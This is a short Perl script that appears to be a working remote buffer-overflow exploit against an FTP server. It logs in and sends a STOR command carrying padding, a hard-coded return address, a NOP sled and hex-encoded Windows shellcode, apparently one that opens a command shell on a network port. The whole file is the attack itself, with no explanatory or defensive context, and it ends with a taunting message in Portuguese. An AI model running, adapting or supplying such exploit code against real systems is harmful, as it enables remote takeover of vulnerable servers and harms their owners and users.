#!/usr/bin/perl
use IO::Socket::INET;
my $bufferData = '41' x 970;
my $retAddress = '0AAFD877';
my $nopSled = '90' x 16;
my $shellcode = "FC6AEB4DE8F9FFFFFF608B6C24248B453C8B7C057801EF8B4F188B5F2001EB498B348B01EE31C099AC84C07407C1CA0D01C2EBF43B54242875E58B5F2401EB668B0C4B8B5F1C01EB032C8B896C241C61C331DB648B43308B400C8B701CAD8B40085E688E4E0EEC50FFD6665366683332687773325F54FFD068CBEDFC3B50FFD65F89E56681ED0802556A02FFD068D909F5AD57FFD6535353535343534353FFD06668115C665389E19568A41A70C757FFD66A105155FFD068A4AD2EE957FFD65355FFD068E549864957FFD650545455FFD09368E779C67957FFD655FFD0666A646668636D89E56A505929CC89E76A4489E231C0F3AAFE422DFE422C938D7A38ABABAB6872FEB316FF7544FFD65B57525151516A0151515551FFD068ADD905CE53FFD66AFFFF37FFD08B57FC83C464FFD652FFD068F08A045F53FFD6FFD0";
my $finalShellcode = (pack 'H*', $bufferData.$retAddress.$nopSled.$shellcode);
$| = 1;
my ($socket,$client_socket);
$socket = new IO::Socket::INET (PeerHost => '10.0.0.1',PeerPort => '21',Proto => 'tcp') or die "ERROR in Socket Creation : $!\n";
print <$socket>."\n";
print $socket "USER user\r\n";
print <$socket>."\n";
print $socket "PASS user\r\n";
print <$socket>."\n";
print $socket "STOR ".$finalShellcode."\r\n";
$data = <$socket>;
print "Já foste.\n";
$socket->close();
